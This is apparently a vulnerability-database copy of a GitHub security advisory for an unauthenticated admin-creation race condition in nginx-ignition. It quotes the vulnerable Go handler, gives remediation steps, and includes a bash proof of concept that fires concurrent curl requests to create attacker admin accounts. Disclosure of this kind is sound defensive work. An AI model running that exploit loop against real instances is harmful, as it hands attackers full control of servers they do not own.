GHSA-PXCX-FV34-X9P5

Vulnerability from github – Published: 2026-09-21 21:54 – Updated: 2026-09-21 21:54
VLAI
Summary
nginx ignition has Unauthenticated Admin Account Creation via Onboarding Race Condition
Details

Summary

POST /api/users/onboarding/finish is registered as anonymous (unauthenticated) and creates a user with full ReadWrite admin permissions. Because the handler uses a check-then-act (TOCTOU) pattern between the "onboarding already completed?" check and the user-creation write, with no atomic guard, a remote unauthenticated attacker who can reach an instance in its pre-onboarding state can create an administrator account for themselves — and concurrent requests can create multiple admin accounts in a single race.

Affected component

  • Endpoint: POST /api/users/onboarding/finish
  • Route registration: api/user/routes.go:49authorizer.AllowAnonymous(http.MethodPost, "/api/users/onboarding/finish")
  • Handler: api/user/onboarding_finish_handler.go

Technical details

The route is explicitly allowed without authentication:

// api/user/routes.go:48-49
authorizer.AllowAnonymous(http.MethodGet,  "/api/users/onboarding/status")
authorizer.AllowAnonymous(http.MethodPost, "/api/users/onboarding/finish")

The handler reads the onboarding state, returns 403 if already finished, and otherwise creates a user with every permission set to ReadWrite:

// api/user/onboarding_finish_handler.go
func (h onboardingFinishHandler) handle(ctx *gin.Context) {
    alreadyFinished, err := h.commands.OnboardingCompleted(ctx.Request.Context())  // (1) CHECK
    if err != nil { panic(err) }
    if alreadyFinished {
        ctx.Status(http.StatusForbidden)
        return
    }

    requestPayload := &userRequestDTO{}
    if err = ctx.BindJSON(requestPayload); err != nil { panic(err) }

    domainModel := converter.Wrap(ctx.Request.Context(), toDomain, requestPayload)
    domainModel.ID = uuid.New()
    domainModel.Enabled = true
    domainModel.Permissions = user.Permissions{        // full admin
        Hosts:        user.ReadWriteAccessLevel,
        Streams:      user.ReadWriteAccessLevel,
        Certificates: user.ReadWriteAccessLevel,
        Integrations: user.ReadWriteAccessLevel,
        AccessLists:  user.ReadWriteAccessLevel,
        Settings:     user.ReadWriteAccessLevel,
        Users:        user.ReadWriteAccessLevel,
        NginxServer:  user.ReadWriteAccessLevel,
        Caches:       user.ReadWriteAccessLevel,
        // ...all remaining permissions ReadWrite/ReadOnly
    }

    if err = h.commands.Save(ctx.Request.Context(), domainModel, nil); err != nil {  // (2) ACT
        panic(err)
    }
    // ...authenticates and returns a JWT for the new admin
}

The gap between (1) OnboardingCompleted() and (2) Save() is not protected by a lock, transaction, or unique constraint. Two or more requests can each pass the alreadyFinished == false check before any of them commits, so every racing request proceeds to create an admin user and receive a valid admin JWT.

Preconditions (stated honestly)

This is exploitable when the instance is in a pre-onboarding state:

  1. Fresh deployment — the time window between the service coming online and the legitimate operator completing onboarding. During this window any unauthenticated party who can reach the instance can register the first/an additional admin. The race lets an attacker slip an admin account in alongside the operator's, so the operator's onboarding appears to succeed normally while the attacker silently holds admin.
  2. State reset — if onboarding state can return to "not completed" (e.g. all users removed), the endpoint reopens and becomes a repeatable unauthenticated admin-creation primitive.

The single-request path is a setup-window exposure; the race is what turns "first legitimate admin" into "attacker also gets admin," and what allows multiple admin accounts to be minted from one burst.

Proof of concept

Against an instance that has not yet completed onboarding:

# Fire concurrent onboarding-finish requests; multiple admin accounts are created,
# each returning a valid admin JWT, despite the single-admin intent.
for i in $(seq 1 20); do
  curl -s -X POST http://TARGET/api/users/onboarding/finish \
    -H 'Content-Type: application/json' \
    -d '{"username":"attacker'"$i"'","password":"P@ssw0rd123!"}' \
    -o /dev/null -w "%{http_code}\n" &
done
wait
# Multiple 200 responses (each with a login token) instead of exactly one 200 + N×403.

Each 200 response body contains a userLoginResponseDTO with a JWT granting full admin access (Hosts/Streams/Certificates/Settings/Users/NginxServer/AccessLists/Caches = ReadWrite). The attacker then has complete control of the nginx-ignition instance and the nginx server it manages.

Impact

  • Unauthenticated administrative account takeover of a fresh (or reset) instance.
  • Full admin enables every downstream capability: creating hosts/routes, editing global and per-route nginx configuration, managing access lists and certificates, and controlling the nginx server process. (The config surface is itself injectable — see the related nginx-configuration-injection issues — so admin here is a path to SSRF / arbitrary nginx directives.)
  • The TOCTOU race additionally allows minting multiple admin accounts from a single concurrent burst, aiding persistence/stealth.

Remediation

  1. Make onboarding completion atomic: enforce a database-level unique constraint (e.g. "at most one onboarding user" / single-row guard) so concurrent creates collide, or wrap the check-and-create in a single transaction / mutex.
  2. Re-check OnboardingCompleted() inside the same transaction that performs the insert, and abort on conflict.
  3. Consider requiring a one-time setup token (printed to server logs / env at first boot) for the initial admin creation, eliminating the unauthenticated window entirely.

Finding ID: GM-4607

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/lucasdillmann/nginx-ignition"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260621194639-0586b4e55ab"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-61628"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-362"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-21T21:54:42Z",
    "nvd_published_at": "2026-09-21T15:17:30Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`POST /api/users/onboarding/finish` is registered as **anonymous (unauthenticated)** and creates a user with **full ReadWrite admin permissions**. Because the handler uses a check-then-act (TOCTOU) pattern between the \"onboarding already completed?\" check and the user-creation write, with no atomic guard, a remote unauthenticated attacker who can reach an instance in its pre-onboarding state can create an administrator account for themselves \u2014 and concurrent requests can create multiple admin accounts in a single race.\n\n## Affected component\n\n- Endpoint: `POST /api/users/onboarding/finish`\n- Route registration: `api/user/routes.go:49` \u2192 `authorizer.AllowAnonymous(http.MethodPost, \"/api/users/onboarding/finish\")`\n- Handler: `api/user/onboarding_finish_handler.go`\n\n## Technical details\n\nThe route is explicitly allowed without authentication:\n\n```go\n// api/user/routes.go:48-49\nauthorizer.AllowAnonymous(http.MethodGet,  \"/api/users/onboarding/status\")\nauthorizer.AllowAnonymous(http.MethodPost, \"/api/users/onboarding/finish\")\n```\n\nThe handler reads the onboarding state, returns 403 if already finished, and otherwise creates a user with every permission set to ReadWrite:\n\n```go\n// api/user/onboarding_finish_handler.go\nfunc (h onboardingFinishHandler) handle(ctx *gin.Context) {\n    alreadyFinished, err := h.commands.OnboardingCompleted(ctx.Request.Context())  // (1) CHECK\n    if err != nil { panic(err) }\n    if alreadyFinished {\n        ctx.Status(http.StatusForbidden)\n        return\n    }\n\n    requestPayload := \u0026userRequestDTO{}\n    if err = ctx.BindJSON(requestPayload); err != nil { panic(err) }\n\n    domainModel := converter.Wrap(ctx.Request.Context(), toDomain, requestPayload)\n    domainModel.ID = uuid.New()\n    domainModel.Enabled = true\n    domainModel.Permissions = user.Permissions{        // full admin\n        Hosts:        user.ReadWriteAccessLevel,\n        Streams:      user.ReadWriteAccessLevel,\n        Certificates: user.ReadWriteAccessLevel,\n        Integrations: user.ReadWriteAccessLevel,\n        AccessLists:  user.ReadWriteAccessLevel,\n        Settings:     user.ReadWriteAccessLevel,\n        Users:        user.ReadWriteAccessLevel,\n        NginxServer:  user.ReadWriteAccessLevel,\n        Caches:       user.ReadWriteAccessLevel,\n        // ...all remaining permissions ReadWrite/ReadOnly\n    }\n\n    if err = h.commands.Save(ctx.Request.Context(), domainModel, nil); err != nil {  // (2) ACT\n        panic(err)\n    }\n    // ...authenticates and returns a JWT for the new admin\n}\n```\n\nThe gap between **(1)** `OnboardingCompleted()` and **(2)** `Save()` is not protected by a lock, transaction, or unique constraint. Two or more requests can each pass the `alreadyFinished == false` check before any of them commits, so every racing request proceeds to create an admin user and receive a valid admin JWT.\n\n## Preconditions (stated honestly)\n\nThis is exploitable when the instance is in a **pre-onboarding state**:\n\n1. **Fresh deployment** \u2014 the time window between the service coming online and the legitimate operator completing onboarding. During this window any unauthenticated party who can reach the instance can register the first/an additional admin. The race lets an attacker slip an admin account in *alongside* the operator\u0027s, so the operator\u0027s onboarding appears to succeed normally while the attacker silently holds admin.\n2. **State reset** \u2014 if onboarding state can return to \"not completed\" (e.g. all users removed), the endpoint reopens and becomes a repeatable unauthenticated admin-creation primitive.\n\nThe single-request path is a setup-window exposure; the **race** is what turns \"first legitimate admin\" into \"attacker also gets admin,\" and what allows multiple admin accounts to be minted from one burst.\n\n## Proof of concept\n\nAgainst an instance that has not yet completed onboarding:\n\n```bash\n# Fire concurrent onboarding-finish requests; multiple admin accounts are created,\n# each returning a valid admin JWT, despite the single-admin intent.\nfor i in $(seq 1 20); do\n  curl -s -X POST http://TARGET/api/users/onboarding/finish \\\n    -H \u0027Content-Type: application/json\u0027 \\\n    -d \u0027{\"username\":\"attacker\u0027\"$i\"\u0027\",\"password\":\"P@ssw0rd123!\"}\u0027 \\\n    -o /dev/null -w \"%{http_code}\\n\" \u0026\ndone\nwait\n# Multiple 200 responses (each with a login token) instead of exactly one 200 + N\u00d7403.\n```\n\nEach `200` response body contains a `userLoginResponseDTO` with a JWT granting full admin access (Hosts/Streams/Certificates/Settings/Users/NginxServer/AccessLists/Caches = ReadWrite). The attacker then has complete control of the nginx-ignition instance and the nginx server it manages.\n\n## Impact\n\n- **Unauthenticated administrative account takeover** of a fresh (or reset) instance.\n- Full admin enables every downstream capability: creating hosts/routes, editing global and per-route nginx configuration, managing access lists and certificates, and controlling the nginx server process. (The config surface is itself injectable \u2014 see the related nginx-configuration-injection issues \u2014 so admin here is a path to SSRF / arbitrary nginx directives.)\n- The TOCTOU race additionally allows minting multiple admin accounts from a single concurrent burst, aiding persistence/stealth.\n\n## Remediation\n\n1. Make onboarding completion atomic: enforce a database-level unique constraint (e.g. \"at most one onboarding user\" / single-row guard) so concurrent creates collide, or wrap the check-and-create in a single transaction / mutex.\n2. Re-check `OnboardingCompleted()` inside the same transaction that performs the insert, and abort on conflict.\n3. Consider requiring a one-time setup token (printed to server logs / env at first boot) for the initial admin creation, eliminating the unauthenticated window entirely.\n\n---\n*Finding ID: GM-4607*",
  "id": "GHSA-pxcx-fv34-x9p5",
  "modified": "2026-09-21T21:54:42Z",
  "published": "2026-09-21T21:54:42Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lucasdillmann/nginx-ignition/security/advisories/GHSA-pxcx-fv34-x9p5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61628"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lucasdillmann/nginx-ignition/pull/131"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lucasdillmann/nginx-ignition/commit/0586b4e55ab780676d3553a2592979dfa2fb0183"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lucasdillmann/nginx-ignition"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lucasdillmann/nginx-ignition/releases/tag/2.41.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": " nginx ignition has Unauthenticated Admin Account Creation via Onboarding Race Condition"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…